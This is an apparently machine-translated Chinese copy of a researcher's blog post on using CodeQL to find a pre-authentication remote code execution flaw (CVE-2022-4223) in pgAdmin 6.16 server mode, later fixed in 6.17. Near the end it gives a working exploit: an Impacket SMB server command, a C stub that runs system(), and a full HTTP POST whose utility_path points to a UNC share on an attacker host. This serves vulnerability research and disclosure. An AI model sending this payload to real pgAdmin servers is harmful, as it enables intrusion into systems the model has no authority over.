这次,这篇文章不会对安全代码审查技术进行深入讨论。我们将简单地让第三方完成所有艰苦的工作:CodeQL。
我们的目标?管理员。或者更准确地说,如果您在服务器模式下运行 pgAdmin,则为Web 界面。对于那些还不了解 pgAdmin 的人,请查看他们的网站。
pgAdmin 是 PostgreSQL 最流行、功能最丰富的开源管理和开发平台,PostgreSQL 是世界上最先进的开源数据库。
他们网站上的这一说法确实是真实的。多年前,我就在我的软件开发职业道路上使用过这个工具。但我不知道可以在一种服务器模式下运行这个“客户端”程序。也许您已经在某处看到过这些类型的登录屏幕?
pgAdmin 团队有一篇关于如何快速设置此类服务器的精彩介绍。
pgAdmin 可以部署为 Web 应用程序,方法是将应用程序配置为在服务器模式下运行,然后将其部署在作为反向代理运行的 Web 服务器后面,或使用 WSGI 接口。
那么好吧:我们知道如何设置这种东西,而且在公共 Internet (我猜也是 Intranet)上找到这些东西是很常见的。
由于我每天在工作中查看许多不同的产品,有时需要不同的方法来初步了解漏洞发现的“弹性”程度。我的许多方法之一考虑了CodeQL,一个“语义代码分析引擎”。我不想尝试向您正确介绍 CodeQL(我认为我做不到),而是向您提供有关如何使用它来攻击 pgAdmin 代码的分步教程。
CodeQL 需要一个包含结构化格式代码的数据库,具体取决于目标语言。例如,对于 Java,必须让 CodeQL 引擎成为编译过程的一部分。查看pgAdmin GitHub项目,我们发现主要语言是Python。幸运的是,CodeQL 也支持这种语言。由于https://lgtm.com/将于本月关闭,因此不再可以从该平台获取现成的 CodeQL 数据库。但对我们有好处,CodeQL 团队提供了大量很棒的文档,例如用于创建此类数据库的文档。我喜欢使用支持 CodeQL 引擎的Visual Studio Code查看代码!
所以让我们先安装扩展。
侧边栏左侧将出现一个名为QL的新按钮。接下来我们从GitHub 项目中获取最新版本的 pgAdmin 6.16(在发现漏洞时)。我们立即识别出包含多个 Python 文件的目录,这是我们稍后将讨论的 Web 应用程序的一部分。web
如果 CodeQL 扩展的安装正确完成,您将在某个位置找到 CodeQL CLI 文件,例如$HOME/.config/Code/User/globalStorage/github.vscode-codeql/distribution2/codeql/codeql
. 执行此文件将为您提供帮助。设置alias
、调整您的.bashrc
或任何适合您的舒适需求。
Usage: codeql <command> <argument>...
Create and query CodeQL databases, or work with the QL language.
...
你现在已经准备好创建你的 CodeQL 数据库了!
$ codeql database create pgadmincodeql --language=python
Initializing database at $HOME/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql.
Running build command: []
...
Finalizing database at $HOME/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql.
Successfully created database at $HOME/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql
确实新目录pgadmincodeql
已成功创建。很简单,不是吗?现在,我们必须使用 QL 菜单将该数据库引入我们的 VS Code 工作区。
选择新创建的文件夹,数据库将神奇地出现在 VS Code 中。然后你必须通过单击它直到显示灰色标记将其设置为默认值。您已准备好使用数据库!
在我们可以执行很酷的 CodeQL 查询之前,需要来自繁忙的 GitHub CodeQL 团队/社区的礼物。因此,将官方CodeQL GitHub 存储库克隆到您的工作区中。准备好通过几次点击找到 Pre-Auth 远程代码执行 (RCE) 了吗?
所以我没有谎称在 20 分钟内就找到了缺陷。这包括下载 pgAdmin 源代码、安装 VS Code 扩展、创建 CodeQL 数据库、克隆 CodeQL GitHub 存储库以及仅启动一个预构建的 CodeQL 查询。
因此,我们将 CodeQL 数据库导入到我们的 VS Code 工作区中。现在让我们直奔主题,甚至不做任何应用程序映射和安全代码审查期间通常期望的其他有用的事情。
在 VS Code Explorer 中,CodeQL GitHub 项目可见,我们向下钻取到codeql/python/ql/src/Security
. 在那里您会发现人们为针对您的数据库提供智能查询所做的所有疯狂的事情。我们对以下查询特别感兴趣
允许一次覆盖很多危险的。
包括受污染的分析精神,即不是“仅仅”显示潜在的危险汇,还为我们提供信息是否以及如何从可到达的源到达汇。
codeql/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql
将是一个好的开始。让我们通过打开这个文件来尝试一下,然后简单地点击CodeQL: Run query。这需要一些时间,喝杯咖啡……你回来了吗?让我们看看结果如何。
哇,那是很多东西!因为您可能是从以前的博客文章中认识我的:我很懒,即经常首先搜索最明显的攻击路径。
这
subprocess.getoutput( )
非常符合我的口味。
确实,CodeQL 做得很好。它“意识到”这里使用了 Python 库request
中的flask
。这在整个代码中都被使用,例如读取request.data
和处理它。让我们仔细看看 sink 函数。
@blueprint.route("/validate_binary_path",
endpoint="validate_binary_path",
methods=["POST"]) # [1]
def validate_binary_path():
"""
This function is used to validate the specified utilities path by
running the utilities with there versions.
"""
data = None
if hasattr(request.data, 'decode'):
data = request.data.decode('utf-8')
if data != '':
data = json.loads(data)
version_str = ''
if 'utility_path' in data and data['utility_path'] is not None: # [2]
# Check if "$DIR" present in binary path
binary_path = replace_binary_path(data['utility_path']) # [3]
for utility in UTILITIES_ARRAY: # [4]
full_path = os.path.abspath(
os.path.join(binary_path,
(utility if os.name != 'nt' else
(utility + '.exe')))) # [5]
try:
# Get the output of the '--version' command
version_string = \
subprocess.getoutput('"{0}" --version'.format(full_path)) # [6]
# Get the version number by splitting the result string
version_string.split(") ", 1)[1].split('.', 1)[0]
...
HTTP 路由处理程序被定义为/validate_binary_path
触发代码的相应 URI 部分。我们希望这是应要求提供的POST
。request.data
被读取并且在 [2] 处utility_path
POST 正文参数在一个块内被处理if
。我们并不真正关心 [3] 中的功能,您可以检查自己“为什么”。但是在处,一个常量 namedUTILITIES_ARRAY
似乎严重限制了我们稍后流入subprocess
调用的最终输入。constants.py
告诉我们UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
。很好,但是在处我们仍然控制现在命名的binary_path
变量,对吗?我们控制路径,但不控制在处危险的最终接收器中执行的文件名。此外,您可能已经观察到该flask_login
模块提供了一个@login_required
注释(检查网络应用程序的其他路由)以检查经过身份验证的上下文。这里缺少这一点,所以我们至少应该能够从未经身份验证的上下文到达这条路线。你确实可以!
但是你知道,这是 Python,开头提到的 Server 模式设置指南也描述了在Windows上的安装。我不会详细介绍在 Windows 上以服务器模式安装 pgAdmin 的详细分步指南,因为这花了我 3 个多小时,并且会使我的博文标题过时*咳嗽*。
如果您有足够的耐心,您可以尝试在 Windows 上使用 Python CLI 来检查在使用 UNC 路径访问构造中的远程共享后会发生什么os.path.abspath(os.path.join(...))
。你猜怎么着,它会按预期工作,文件会被检索、读取、调用等等。
让我们通过使用著名的Impacket 套件在我们的 Linux 攻击者机器上设置一个 SMB 服务器来尝试一下。
./smbserver.py myshare $HOME/tmp
在我的tmp
目录中,我创建了一个以从列表中随机选择的条目命名的文件UTILITIES_ARRAY
,例如pg_dump[.exe]
。好吧,不是完全随机的内容,我们希望第一次就做对。所以让我们.exe
使用mingw
交叉编译器创建一个pg_dump.c
这样的。
void main() {
system("cmd.exe /K mspaint");
}
现在POST /misc/validate_binary_path HTTP/1.1
应该触发易受攻击的代码路径。根据您的 pgAdmin Windows 安装,您必须先从浏览到 或 获取 Cookie 和 CSRF/
令牌。它适用于任何安装类型,因此我们假设您现在能够检索标头的内容。最终的有效载荷看起来像这样。/login
/browser
X-pgA-CSRFToken
POST /misc/validate_binary_path HTTP/1.1
Host: [TARGETHOST]
Cookie: [COOKIES_YOU_FETCHED_IN_ADVANCE]
X-pgA-CSRFToken: [CSRF_TOKEN_YOU_FETCHED_IN_ADVANCE]
Connection: close
Referer: https://[TARGETHOST]/browser/
Content-Length: [n]
Content-Type: application/json
{"utility_path":"\\\\[ATTACKER_IP]\\[PREFERED_SHARE_NAME]"}
触发有效载荷后,我们在攻击者机器上看到一个传入的 SMB 连接,检索文件pg_dump.exe
:Pre-Auth RCE 已实现。
修复
pgAdmin 团队分配了CVE-2022-4223并迅速发布了新版本6.17。感谢他们和他们友好的交流。我也感到自豪的是,他们现在通过在他们的 GitHub 项目上添加更多信息并讨论创建SECURITY.md
.
好吧,攻击者未经身份验证的上下文:被杀。但在我看来,同样的漏洞利用应该仍然可以在经过身份验证的上下文中使用。
您可能会想:好吧,这很容易。Yeeesss,确实如此,而且每个人都可以肯定地做到这一点。使用信息安全领域所有聪明人的工具和知识来帮助您完成寻找关键漏洞的旅程。但也请先深入了解 CodeQL。根据我的经验,这是一个完整的展示,即您可以编写自己的查询并首先了解目标应用程序的可能源 API,然后再获得任何有意义的结果。有一些很棒的研讨会,甚至还有才华横溢的 Alvaro Muñoz aka pwntester 的视频。我还可以强烈推荐研讨会视频“使用 CodeQL 查找 Java 中的安全漏洞”。还有更多:搜索和利润!
原文:https://frycos.github.io/vulns4free/2022/12/02/rce-in-20-minutes.html